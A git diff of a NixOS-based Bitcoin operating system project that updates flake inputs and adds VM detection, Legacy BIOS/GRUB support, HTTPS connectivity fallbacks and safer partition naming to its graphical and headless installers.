"rev": "d7a713c0b7e47c908258e71cba7a2d77cc8d71d5",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixos-25.11",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_3": {
|
||||
"locked": {
|
||||
"lastModified": 1780243769,
|
||||
"narHash": "sha256-x5UQuRsH3MqI0U9afaXSNqzTPSeZlRLvFAav2Ux1pNw=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "331800de5053fcebacf6813adb5db9c9dca22a0c",
|
||||
"rev": "f13ff45afd1bb73e640eaa08a7066dbed07e3238",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -201,13 +86,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_4": {
|
||||
"nixpkgs_3": {
|
||||
"locked": {
|
||||
"lastModified": 1780336545,
|
||||
"narHash": "sha256-vhVhuXzFrIOfcssC/9hDHx7MHzDKjF3keHuREOQqQiQ=",
|
||||
"lastModified": 1784555310,
|
||||
"narHash": "sha256-/FCliTPgiuV1owejZFNx3Ch9irdvkOfOFl+HHZ+DrtM=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "4df1b885d76a54e1aa1a318f8d16fd6005b6401f",
|
||||
"rev": "421eebfd0ec7bccd4abe826ce62d7e6e83129493",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -220,15 +105,15 @@
|
||||
"nixvim": {
|
||||
"inputs": {
|
||||
"flake-parts": "flake-parts",
|
||||
"nixpkgs": "nixpkgs_4",
|
||||
"systems": "systems_2"
|
||||
"nixpkgs": "nixpkgs_3",
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1780646548,
|
||||
"narHash": "sha256-Ckyl/l1XBmEwnaHcHD8PvBZk1uph0NqwbJ//CAvB7iE=",
|
||||
"lastModified": 1785763201,
|
||||
"narHash": "sha256-wA373y/B9orM3HatLu9oS+Ke5lmdZyBl/bdjd2gLMq4=",
|
||||
"owner": "nix-community",
|
||||
"repo": "nixvim",
|
||||
"rev": "816a15282e58678dde831477964987d0262d4293",
|
||||
"rev": "c7be49306b23a952c0151cf4bbeacd944ed82f2a",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -240,28 +125,12 @@
|
||||
"root": {
|
||||
"inputs": {
|
||||
"btc-clients": "btc-clients",
|
||||
"nix-bitcoin": "nix-bitcoin",
|
||||
"nixpkgs": "nixpkgs_3",
|
||||
"nixpkgs": "nixpkgs_2",
|
||||
"nixpkgs-stable": "nixpkgs-stable",
|
||||
"nixvim": "nixvim"
|
||||
}
|
||||
},
|
||||
"systems": {
|
||||
"locked": {
|
||||
"lastModified": 1681028828,
|
||||
"narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "nix-systems",
|
||||
"repo": "default",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"systems_2": {
|
||||
"locked": {
|
||||
"lastModified": 1774449309,
|
||||
"narHash": "sha256-brhZ8DmuGtzkCYHJg4HEd602amKm89Y9ytsFZ5uWD1w=",
|
||||
|
||||
@@ -3,13 +3,12 @@
|
||||
|
||||
inputs = {
|
||||
nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
|
||||
nix-bitcoin.url = "github:fort-nix/nix-bitcoin/release";
|
||||
nixvim.url = "github:nix-community/nixvim";
|
||||
btc-clients.url = "github:emmanuelrosa/btc-clients-nix";
|
||||
nixpkgs-stable.url = "github:nixos/nixpkgs/nixos-26.05";
|
||||
};
|
||||
|
||||
outputs = { self, nixpkgs, nix-bitcoin, nixvim, btc-clients, nixpkgs-stable, ... }:
|
||||
outputs = { self, nixpkgs, nixvim, btc-clients, nixpkgs-stable, ... }:
|
||||
|
||||
let
|
||||
overlay-stable = final: prev: {
|
||||
@@ -22,7 +21,7 @@
|
||||
{
|
||||
nixosConfigurations.nixos = nixpkgs.lib.nixosSystem {
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; }
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
self.nixosModules.Sovran_SystemsOS
|
||||
./hardware-configuration.nix
|
||||
./role-state.nix
|
||||
@@ -32,10 +31,9 @@
|
||||
|
||||
nixosConfigurations.sovran_systemsos-iso = nixpkgs.lib.nixosSystem {
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; }
|
||||
({ config, pkgs, ... }: { nixpkgs.overlays = [ overlay-stable ]; })
|
||||
{ nixpkgs.hostPlatform = "x86_64-linux"; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
./iso/common.nix
|
||||
nix-bitcoin.nixosModules.default
|
||||
./modules/bitcoin
|
||||
nixvim.nixosModules.nixvim
|
||||
];
|
||||
};
|
||||
@@ -46,7 +44,7 @@
|
||||
nixpkgs.overlays = [ overlay-stable ];
|
||||
})
|
||||
./configuration.nix
|
||||
nix-bitcoin.nixosModules.default
|
||||
./modules/bitcoin
|
||||
nixvim.nixosModules.nixvim
|
||||
];
|
||||
config = {
|
||||
@@ -57,5 +55,22 @@
|
||||
];
|
||||
};
|
||||
};
|
||||
|
||||
checks.x86_64-linux = let
|
||||
pkgs = import nixpkgs {
|
||||
system = "x86_64-linux";
|
||||
};
|
||||
fetchNodeModules =
|
||||
pkgs.callPackage ./packages/build-support/fetch-node-modules.nix {};
|
||||
mempoolPkgs =
|
||||
pkgs.callPackage ./packages/mempool { inherit fetchNodeModules; };
|
||||
in {
|
||||
bitcoin-btcpay-hardening = import ./tests/bitcoin-btcpay-hardening.nix {
|
||||
inherit nixpkgs overlay-stable;
|
||||
};
|
||||
mempool-backend = mempoolPkgs.mempool-backend;
|
||||
mempool-frontend = mempoolPkgs.mempool-frontend;
|
||||
rtl = pkgs.callPackage ./packages/rtl { inherit fetchNodeModules; };
|
||||
};
|
||||
};
|
||||
}
|
||||
+10
-2
@@ -3,6 +3,14 @@
|
||||
let
|
||||
sovranSource = builtins.path { path = ../.; name = "sovran-systemsos"; };
|
||||
|
||||
# Read version from VERSION file if it exists, otherwise fall back to "dev"
|
||||
versionFile = if builtins.pathExists ../VERSION
|
||||
then builtins.readFile ../VERSION
|
||||
else "dev";
|
||||
|
||||
# Clean version (remove 'v' prefix and newlines)
|
||||
cleanVersion = builtins.replaceStrings ["v" "\n" "\r"] ["" "" ""] versionFile;
|
||||
|
||||
pythonEnv = pkgs.python3.withPackages (ps: [ ps.pygobject3 ps.pycairo ]);
|
||||
|
||||
installerPy = pkgs.writeShellScriptBin "sovran-install" ''
|
||||
@@ -16,10 +24,10 @@ in
|
||||
{
|
||||
imports = [
|
||||
"${modulesPath}/installer/cd-dvd/installation-cd-graphical-gnome.nix"
|
||||
./branding.nix
|
||||
];
|
||||
|
||||
image.baseName = lib.mkForce "Sovran_SystemsOS";
|
||||
# Dynamic ISO filename with version
|
||||
image.baseName = lib.mkForce "Sovran_SystemsOS-${cleanVersion}";
|
||||
isoImage.splashImage = ./assets/splash-logo.png;
|
||||
|
||||
services.gnome.gnome-initial-setup.enable = false;
|
||||
|
||||
+195
-32
@@ -103,25 +103,81 @@ def human_size(nbytes):
|
||||
return f"{nbytes:.1f} PB"
|
||||
|
||||
def check_internet():
|
||||
"""Return True if the machine can reach the internet."""
|
||||
"""Return True if the machine can reach the internet.
|
||||
|
||||
Some VM NAT setups and managed networks block ICMP even when HTTPS works,
|
||||
so keep the existing ping checks but fall back to small HTTPS requests.
|
||||
"""
|
||||
checks = [
|
||||
["ping", "-c", "1", "-W", "5", "nixos.org"],
|
||||
["curl", "--location", "--fail", "--silent", "--show-error", "--connect-timeout", "5", "--max-time", "10", "--output", "/dev/null", "https://cache.nixos.org/nix-cache-info"],
|
||||
["curl", "--location", "--fail", "--silent", "--show-error", "--connect-timeout", "5", "--max-time", "10", "--output", "/dev/null", "https://nixos.org/"],
|
||||
["ping", "-c", "1", "-W", "5", "1.1.1.1"],
|
||||
]
|
||||
|
||||
for cmd in checks:
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
log(f"Connectivity check failed ({' '.join(cmd)}): {result.stderr.strip() or result.stdout.strip()}")
|
||||
except Exception as e:
|
||||
log(f"Connectivity check failed ({' '.join(cmd)}): {e}")
|
||||
|
||||
return False
|
||||
|
||||
def detect_virtualization():
|
||||
"""Return the VM technology name when running inside a VM, else None."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ping", "-c", "1", "-W", "5", "nixos.org"],
|
||||
["systemd-detect-virt", "--vm"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
name = result.stdout.strip()
|
||||
if name == "none":
|
||||
return None
|
||||
return name or "virtual machine"
|
||||
except Exception:
|
||||
pass
|
||||
# Fallback: try a second host in case DNS for nixos.org is down
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ping", "-c", "1", "-W", "5", "1.1.1.1"],
|
||||
capture_output=True, text=True
|
||||
)
|
||||
return result.returncode == 0
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
# Fallback for minimal environments where systemd-detect-virt is absent.
|
||||
dmi_paths = [
|
||||
"/sys/class/dmi/id/product_name",
|
||||
"/sys/class/dmi/id/sys_vendor",
|
||||
"/sys/class/dmi/id/board_vendor",
|
||||
]
|
||||
markers = (
|
||||
"kvm", "qemu", "virtualbox", "vmware", "hyper-v",
|
||||
"bhyve", "parallels", "xen", "bochs", "virtual",
|
||||
)
|
||||
for dmi_path in dmi_paths:
|
||||
try:
|
||||
value = open(dmi_path, "r", encoding="utf-8", errors="ignore").read().strip()
|
||||
except OSError:
|
||||
continue
|
||||
lowered = value.lower()
|
||||
if any(marker in lowered for marker in markers):
|
||||
return value or "virtual machine"
|
||||
|
||||
return None
|
||||
|
||||
def detect_boot_mode():
|
||||
"""Return the firmware mode used to boot the installer ISO."""
|
||||
return "uefi" if os.path.isdir("/sys/firmware/efi") else "bios"
|
||||
|
||||
def boot_mode_label(mode):
|
||||
if mode == "uefi":
|
||||
return "UEFI (systemd-boot)"
|
||||
return "Legacy BIOS (GRUB)"
|
||||
|
||||
def nix_string(value):
|
||||
"""Quote a Python string for a simple Nix string literal."""
|
||||
escaped = value.replace("\\", "\\\\")
|
||||
escaped = escaped.replace('"', '\\"')
|
||||
escaped = escaped.replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t")
|
||||
escaped = escaped.replace("${", "\\${")
|
||||
return f'"{escaped}"'
|
||||
|
||||
def symbolic_icon(name):
|
||||
"""Create a crisp symbolic icon suitable for use as an ActionRow prefix."""
|
||||
@@ -159,6 +215,10 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
self.data_size = None
|
||||
self.data_drive_has_timechain = False
|
||||
self.free_password = None
|
||||
self.virtualization = detect_virtualization()
|
||||
self.boot_mode = detect_boot_mode()
|
||||
|
||||
log(f"Installer environment: boot_mode={self.boot_mode}, virtualization={self.virtualization or 'none'}")
|
||||
|
||||
# Root navigation view
|
||||
self.nav = Adw.NavigationView()
|
||||
@@ -343,7 +403,7 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
if os.path.exists(LOGO):
|
||||
try:
|
||||
img = Gtk.Image.new_from_file(LOGO)
|
||||
img.set_pixel_size(480)
|
||||
img.set_pixel_size(320 if self.virtualization else 480)
|
||||
hero.append(img)
|
||||
except Exception:
|
||||
pass
|
||||
@@ -397,6 +457,42 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
notice_frame.set_child(notice_box)
|
||||
outer.append(notice_frame)
|
||||
|
||||
if self.virtualization:
|
||||
vm_frame = Gtk.Frame()
|
||||
vm_frame.add_css_class("card")
|
||||
vm_frame.set_margin_start(40)
|
||||
vm_frame.set_margin_end(40)
|
||||
vm_frame.set_margin_top(12)
|
||||
vm_frame.set_margin_bottom(4)
|
||||
|
||||
vm_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, spacing=12)
|
||||
vm_box.set_margin_top(12)
|
||||
vm_box.set_margin_bottom(12)
|
||||
vm_box.set_margin_start(16)
|
||||
vm_box.set_margin_end(16)
|
||||
|
||||
vm_icon = symbolic_icon("computer-symbolic")
|
||||
vm_icon.set_valign(Gtk.Align.START)
|
||||
vm_box.append(vm_icon)
|
||||
|
||||
vm_lbl = Gtk.Label()
|
||||
vm_lbl.set_use_markup(True)
|
||||
vm_lbl.set_wrap(True)
|
||||
vm_lbl.set_xalign(0)
|
||||
vm_lbl.set_halign(Gtk.Align.FILL)
|
||||
vm_lbl.set_markup(
|
||||
f"<span weight='bold'>Virtual machine detected: {GLib.markup_escape_text(self.virtualization)}</span>\n"
|
||||
f"Boot mode: <span weight='bold'>{boot_mode_label(self.boot_mode)}</span>. "
|
||||
"For the smoothest VM test, use 8+ GB RAM, NAT/bridged networking, "
|
||||
"and a thin-provisioned virtual OS disk of at least 256 GB. "
|
||||
"For Node or Server + Desktop, attach a second 2 TB virtual data disk; "
|
||||
"otherwise choose Desktop Only."
|
||||
)
|
||||
vm_box.append(vm_lbl)
|
||||
|
||||
vm_frame.set_child(vm_box)
|
||||
outer.append(vm_frame)
|
||||
|
||||
# Role label
|
||||
role_lbl = Gtk.Label()
|
||||
role_lbl.set_markup("<span size='medium' weight='bold'>Choose your installation type:</span>")
|
||||
@@ -448,7 +544,10 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
|
||||
available = has_second_drive or key not in NEEDS_DATA_DRIVE
|
||||
if not available:
|
||||
card.set_subtitle(desc + "\n⚠ Requires a second internal drive (not detected)")
|
||||
drive_hint = "⚠ Requires a second internal drive (not detected)"
|
||||
if self.virtualization:
|
||||
drive_hint += " — in a VM, attach a second virtual disk or choose Desktop Only"
|
||||
card.set_subtitle(desc + f"\n{drive_hint}")
|
||||
card.set_sensitive(False)
|
||||
else:
|
||||
card.set_subtitle(desc)
|
||||
@@ -531,9 +630,10 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
# ── OS Drive group ────────────────────────────────────────────
|
||||
os_group = Adw.PreferencesGroup()
|
||||
os_group.set_title("OS Drive (NixOS Boot + Root)")
|
||||
os_group.set_description(
|
||||
"Choose the drive for the NixOS installation. Minimum 256 GB required."
|
||||
)
|
||||
os_description = "Choose the drive for the NixOS installation. Minimum 256 GB required."
|
||||
if self.virtualization:
|
||||
os_description += " In a VM, a thin-provisioned virtual disk is OK."
|
||||
os_group.set_description(os_description)
|
||||
os_group.set_margin_top(24)
|
||||
os_group.set_margin_start(40)
|
||||
os_group.set_margin_end(40)
|
||||
@@ -546,6 +646,8 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
row.set_title(f"/dev/{name}")
|
||||
type_label = tran.upper() if tran else "Disk"
|
||||
meets = "✓ Meets 256 GB minimum" if size >= BYTES_256GB else "✗ Below 256 GB minimum"
|
||||
if self.virtualization and size < BYTES_256GB:
|
||||
meets += " (expand the virtual disk)"
|
||||
row.set_subtitle(f"{human_size(size)} · {type_label} — {meets}")
|
||||
row.add_prefix(symbolic_icon("drive-harddisk-symbolic"))
|
||||
|
||||
@@ -570,11 +672,14 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
if self.role != "Desktop Only":
|
||||
data_group = Adw.PreferencesGroup()
|
||||
data_group.set_title("Bitcoin Timechain & Backups Drive")
|
||||
data_group.set_description(
|
||||
data_description = (
|
||||
"💡 Tip: Always assign your LARGEST drive here. "
|
||||
"The full Bitcoin timechain is over 700 GB and grows continuously — "
|
||||
"a 2 TB or larger drive is required."
|
||||
)
|
||||
if self.virtualization:
|
||||
data_description += " In a VM, attach a second 2 TB thin-provisioned virtual disk for Node or Server + Desktop."
|
||||
data_group.set_description(data_description)
|
||||
data_group.set_margin_top(20)
|
||||
data_group.set_margin_start(40)
|
||||
data_group.set_margin_end(40)
|
||||
@@ -599,6 +704,8 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
row.set_title(f"/dev/{name}")
|
||||
type_label = tran.upper() if tran else "Disk"
|
||||
meets = "✓ Meets 2 TB minimum" if size >= BYTES_2TB else "✗ Below 2 TB minimum"
|
||||
if self.virtualization and size < BYTES_2TB:
|
||||
meets += " (use a 2 TB thin-provisioned virtual disk)"
|
||||
row.set_subtitle(f"{human_size(size)} · {type_label} — {meets}")
|
||||
row.add_prefix(symbolic_icon("drive-harddisk-symbolic"))
|
||||
|
||||
@@ -655,10 +762,16 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
dlg = Adw.MessageDialog()
|
||||
dlg.set_transient_for(self)
|
||||
dlg.set_heading("OS Drive Too Small")
|
||||
dlg.set_body(
|
||||
body = (
|
||||
f"The selected OS drive (/dev/{os_name}, {human_size(os_size)}) "
|
||||
f"does not meet the 256 GB minimum. Please choose a larger drive."
|
||||
)
|
||||
if self.virtualization:
|
||||
body += (
|
||||
"\n\nVM tip: expand the virtual OS disk to at least 256 GB. "
|
||||
"Thin-provisioned disks usually do not consume the full size immediately."
|
||||
)
|
||||
dlg.set_body(body)
|
||||
dlg.add_response("ok", "OK")
|
||||
dlg.present()
|
||||
return
|
||||
@@ -668,12 +781,18 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
dlg = Adw.MessageDialog()
|
||||
dlg.set_transient_for(self)
|
||||
dlg.set_heading("Bitcoin Drive Too Small")
|
||||
dlg.set_body(
|
||||
body = (
|
||||
f"The selected Bitcoin Timechain & Backups drive "
|
||||
f"(/dev/{data_name}, {human_size(data_size)}) "
|
||||
f"does not meet the 2 TB minimum. "
|
||||
f"Please choose a larger drive or select \"None\"."
|
||||
)
|
||||
if self.virtualization:
|
||||
body += (
|
||||
"\n\nVM tip: attach a second 2 TB thin-provisioned virtual disk "
|
||||
"for Node or Server + Desktop test installs."
|
||||
)
|
||||
dlg.set_body(body)
|
||||
dlg.add_response("ok", "OK")
|
||||
dlg.present()
|
||||
return
|
||||
@@ -829,7 +948,12 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
# ── Worker: partition ─────────────────────────────────────────────────
|
||||
|
||||
def partition_path(self, dev_path, num):
|
||||
return f"{dev_path}p{num}" if "nvme" in dev_path else f"{dev_path}{num}"
|
||||
base = os.path.basename(dev_path)
|
||||
needs_p = (
|
||||
base.startswith(("nvme", "mmcblk", "loop", "md")) or
|
||||
(base[-1:].isdigit())
|
||||
)
|
||||
return f"{dev_path}p{num}" if needs_p else f"{dev_path}{num}"
|
||||
|
||||
def detect_existing_timechain_data(self, data_path, buf=None):
|
||||
data_p1 = self.partition_path(data_path, 1)
|
||||
@@ -900,12 +1024,19 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
|
||||
time.sleep(2)
|
||||
|
||||
# ── Partition boot disk: 512M ESP + rest as root ──
|
||||
GLib.idle_add(append_text, buf, "\n=== Partitioning boot disk ===\n")
|
||||
run_stream(["sudo", "sgdisk",
|
||||
"-n", "1:1M:+512M", "-t", "1:EF00", "-c", "1:ESP",
|
||||
"-n", "2:0:0", "-t", "2:8300", "-c", "2:root",
|
||||
boot_path], buf)
|
||||
# ── Partition boot disk ──
|
||||
if self.boot_mode == "uefi":
|
||||
GLib.idle_add(append_text, buf, "\n=== Partitioning boot disk (UEFI) ===\n")
|
||||
run_stream(["sudo", "sgdisk",
|
||||
"-n", "1:1M:+512M", "-t", "1:EF00", "-c", "1:ESP",
|
||||
"-n", "2:0:0", "-t", "2:8300", "-c", "2:root",
|
||||
boot_path], buf)
|
||||
else:
|
||||
GLib.idle_add(append_text, buf, "\n=== Partitioning boot disk (Legacy BIOS) ===\n")
|
||||
run_stream(["sudo", "sgdisk",
|
||||
"-n", "1:1M:+1M", "-t", "1:EF02", "-c", "1:BIOS-boot",
|
||||
"-n", "2:0:0", "-t", "2:8300", "-c", "2:root",
|
||||
boot_path], buf)
|
||||
|
||||
run_stream(["sudo", "partprobe", boot_path], buf)
|
||||
time.sleep(2)
|
||||
@@ -925,7 +1056,10 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
boot_p1 = self.partition_path(boot_path, 1)
|
||||
boot_p2 = self.partition_path(boot_path, 2)
|
||||
|
||||
run_stream(["sudo", "mkfs.vfat", "-F", "32", boot_p1], buf)
|
||||
if self.boot_mode == "uefi":
|
||||
run_stream(["sudo", "mkfs.vfat", "-F", "32", boot_p1], buf)
|
||||
else:
|
||||
GLib.idle_add(append_text, buf, "Skipping ESP format for Legacy BIOS install.\n")
|
||||
run_stream(["sudo", "mkfs.ext4", "-F", "-L", "sovran_systemsos", boot_p2], buf)
|
||||
|
||||
if data_path and not self.data_drive_has_timechain:
|
||||
@@ -935,8 +1069,11 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
# ── Mount filesystems ──
|
||||
GLib.idle_add(append_text, buf, "\n=== Mounting filesystems ===\n")
|
||||
run_stream(["sudo", "mount", boot_p2, "/mnt"], buf)
|
||||
run_stream(["sudo", "mkdir", "-p", "/mnt/boot/efi"], buf)
|
||||
run_stream(["sudo", "mount", "-o", "umask=0077,defaults", boot_p1, "/mnt/boot/efi"], buf)
|
||||
if self.boot_mode == "uefi":
|
||||
run_stream(["sudo", "mkdir", "-p", "/mnt/boot/efi"], buf)
|
||||
run_stream(["sudo", "mount", "-o", "umask=0077,defaults", boot_p1, "/mnt/boot/efi"], buf)
|
||||
else:
|
||||
GLib.idle_add(append_text, buf, "Legacy BIOS install: /boot/efi mount not required.\n")
|
||||
|
||||
if data_path:
|
||||
data_p1 = self.partition_path(data_path, 1)
|
||||
@@ -966,12 +1103,33 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
is_server = str(self.role == "Server+Desktop").lower()
|
||||
is_desktop = str(self.role == "Desktop Only").lower()
|
||||
is_node = str(self.role == "Node (Bitcoin-only)").lower()
|
||||
boot_overrides = ""
|
||||
if self.boot_mode == "bios":
|
||||
grub_device = nix_string(f"/dev/{self.boot_disk}")
|
||||
boot_overrides = f"""
|
||||
|
||||
# The installer ISO was booted in Legacy BIOS mode, so install GRUB to the
|
||||
# target disk instead of using the default UEFI systemd-boot configuration.
|
||||
boot.loader.systemd-boot.enable = lib.mkForce false;
|
||||
boot.loader.efi.canTouchEfiVariables = lib.mkForce false;
|
||||
boot.loader.grub.enable = lib.mkForce true;
|
||||
boot.loader.grub.device = lib.mkForce {grub_device};
|
||||
fileSystems."/boot/efi".enable = lib.mkForce false;
|
||||
"""
|
||||
elif self.virtualization:
|
||||
boot_overrides = """
|
||||
|
||||
# VM UEFI firmware can reject or forget NVRAM boot-entry writes. Keep the
|
||||
# normal UEFI systemd-boot layout, but use the fallback removable path instead
|
||||
# of depending on EFI variable updates.
|
||||
boot.loader.efi.canTouchEfiVariables = lib.mkForce false;
|
||||
"""
|
||||
content = f"""# THIS FILE IS AUTO-GENERATED BY THE INSTALLER. DO NOT EDIT.
|
||||
{{ config, lib, ... }}:
|
||||
{{
|
||||
sovran_systemsOS.roles.server_plus_desktop = lib.mkDefault {is_server};
|
||||
sovran_systemsOS.roles.desktop = lib.mkDefault {is_desktop};
|
||||
sovran_systemsOS.roles.node = lib.mkDefault {is_node};
|
||||
sovran_systemsOS.roles.node = lib.mkDefault {is_node};{boot_overrides}
|
||||
}}
|
||||
"""
|
||||
proc = subprocess.run(
|
||||
@@ -1008,6 +1166,11 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
boot_row.set_subtitle(f"/dev/{self.boot_disk} — {human_size(self.boot_size)}")
|
||||
details.add(boot_row)
|
||||
|
||||
boot_mode_row = Adw.ActionRow()
|
||||
boot_mode_row.set_title("Boot Mode")
|
||||
boot_mode_row.set_subtitle(boot_mode_label(self.boot_mode))
|
||||
details.add(boot_mode_row)
|
||||
|
||||
if self.data_disk:
|
||||
data_row = Adw.ActionRow()
|
||||
data_row.set_title("Data Disk")
|
||||
@@ -1169,7 +1332,7 @@ class InstallerWindow(Adw.ApplicationWindow):
|
||||
btn_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL, spacing=0)
|
||||
btn_box.set_halign(Gtk.Align.CENTER)
|
||||
btn_box.set_margin_bottom(32)
|
||||
reboot_btn = Gtk.Button(label="I Have Written Down My Password — Reboot Now")
|
||||
reboot_btn = Gtk.Button(label="I Have Written Down My Password — Restart Entire System")
|
||||
reboot_btn.add_css_class("suggested-action")
|
||||
reboot_btn.add_css_class("pill")
|
||||
reboot_btn.connect("clicked", lambda b: subprocess.run(["sudo", "reboot"]))
|
||||
|
||||
@@ -12,6 +12,11 @@ Options:
|
||||
--deploy-key "ssh-ed25519 AAAA..." SSH pubkey for remote access after install
|
||||
--headscale-server URL Headscale login server for post-install Tailnet
|
||||
--headscale-key KEY Headscale pre-auth key for the installed OS
|
||||
|
||||
VM notes:
|
||||
Desktop test installs still need a 256 GB OS disk (thin-provisioned is OK).
|
||||
Node/server installs need a separate 2 TB data disk. UEFI is preferred; UEFI
|
||||
VMs avoid NVRAM boot-entry writes, and legacy BIOS VMs use GRUB.
|
||||
USAGE
|
||||
}
|
||||
|
||||
@@ -25,6 +30,8 @@ DEPLOY_KEY=""
|
||||
HEADSCALE_SERVER=""
|
||||
HEADSCALE_KEY=""
|
||||
DATA_DISK_HAS_TIMECHAIN=false
|
||||
BOOT_MODE=""
|
||||
VIRTUALIZATION=""
|
||||
|
||||
FLAKE="/etc/sovran/flake"
|
||||
LOG="/tmp/sovran-headless-install.log"
|
||||
@@ -69,6 +76,22 @@ case "$ROLE" in
|
||||
*) die "--role must be one of: server, desktop, node" ;;
|
||||
esac
|
||||
|
||||
# ── Detect firmware / VM environment ─────────────────────────────────────────
|
||||
if [[ -d /sys/firmware/efi ]]; then
|
||||
BOOT_MODE="uefi"
|
||||
else
|
||||
BOOT_MODE="bios"
|
||||
fi
|
||||
|
||||
if command -v systemd-detect-virt >/dev/null 2>&1; then
|
||||
if VIRT_RESULT=$(systemd-detect-virt --vm 2>/dev/null); then
|
||||
[[ "$VIRT_RESULT" != "none" ]] && VIRTUALIZATION="$VIRT_RESULT"
|
||||
fi
|
||||
fi
|
||||
|
||||
log "Boot mode: ${BOOT_MODE} ($([[ "$BOOT_MODE" == uefi ]] && echo systemd-boot || echo GRUB))"
|
||||
[[ -n "$VIRTUALIZATION" ]] && log "Virtual machine detected: ${VIRTUALIZATION}"
|
||||
|
||||
# ── Validate disk existence and size ─────────────────────────────────────────
|
||||
log "=== Validating disks ==="
|
||||
|
||||
@@ -96,13 +119,26 @@ fi
|
||||
# ── Helper: partition suffix ──────────────────────────────────────────────────
|
||||
part_suffix() {
|
||||
local dev="$1" n="$2"
|
||||
if [[ "$dev" == *nvme* ]]; then
|
||||
local base
|
||||
base=$(basename "$dev")
|
||||
if [[ "$base" == nvme* || "$base" == mmcblk* || "$base" == loop* || "$base" == md* || "$base" =~ [0-9]$ ]]; then
|
||||
echo "${dev}p${n}"
|
||||
else
|
||||
echo "${dev}${n}"
|
||||
fi
|
||||
}
|
||||
|
||||
nix_string() {
|
||||
local value="$1"
|
||||
value="${value//\\/\\\\}"
|
||||
value="${value//\"/\\\"}"
|
||||
value="${value//$'\n'/\\n}"
|
||||
value="${value//$'\r'/\\r}"
|
||||
value="${value//$'\t'/\\t}"
|
||||
value="${value//\$\{/\\\$\{}"
|
||||
printf '"%s"' "$value"
|
||||
}
|
||||
|
||||
# ── Detect existing Bitcoin timechain data on data disk ───────────────────────
|
||||
if [[ -n "$DATA_DISK" ]]; then
|
||||
DATA_P1=$(part_suffix "$DATA_DISK" 1)
|
||||
@@ -142,12 +178,19 @@ partprobe "$DISK"
|
||||
sleep 2
|
||||
|
||||
# ── Step 2: Partition OS disk ─────────────────────────────────────────────────
|
||||
log "=== Partitioning OS disk ==="
|
||||
|
||||
sgdisk \
|
||||
-n "1:1M:+512M" -t "1:EF00" -c "1:ESP" \
|
||||
-n "2:0:0" -t "2:8300" -c "2:root" \
|
||||
"$DISK"
|
||||
if [[ "$BOOT_MODE" == "uefi" ]]; then
|
||||
log "=== Partitioning OS disk (UEFI) ==="
|
||||
sgdisk \
|
||||
-n "1:1M:+512M" -t "1:EF00" -c "1:ESP" \
|
||||
-n "2:0:0" -t "2:8300" -c "2:root" \
|
||||
"$DISK"
|
||||
else
|
||||
log "=== Partitioning OS disk (Legacy BIOS) ==="
|
||||
sgdisk \
|
||||
-n "1:1M:+1M" -t "1:EF02" -c "1:BIOS-boot" \
|
||||
-n "2:0:0" -t "2:8300" -c "2:root" \
|
||||
"$DISK"
|
||||
fi
|
||||
|
||||
partprobe "$DISK"
|
||||
sleep 2
|
||||
@@ -168,7 +211,11 @@ log "=== Formatting partitions ==="
|
||||
BOOT_P1=$(part_suffix "$DISK" 1)
|
||||
BOOT_P2=$(part_suffix "$DISK" 2)
|
||||
|
||||
mkfs.vfat -F 32 "$BOOT_P1"
|
||||
if [[ "$BOOT_MODE" == "uefi" ]]; then
|
||||
mkfs.vfat -F 32 "$BOOT_P1"
|
||||
else
|
||||
log "Skipping ESP format for Legacy BIOS install"
|
||||
fi
|
||||
mkfs.ext4 -F -L sovran_systemsos "$BOOT_P2"
|
||||
|
||||
if [[ -n "$DATA_DISK" && "$DATA_DISK_HAS_TIMECHAIN" != true ]]; then
|
||||
@@ -180,8 +227,12 @@ fi
|
||||
log "=== Mounting filesystems ==="
|
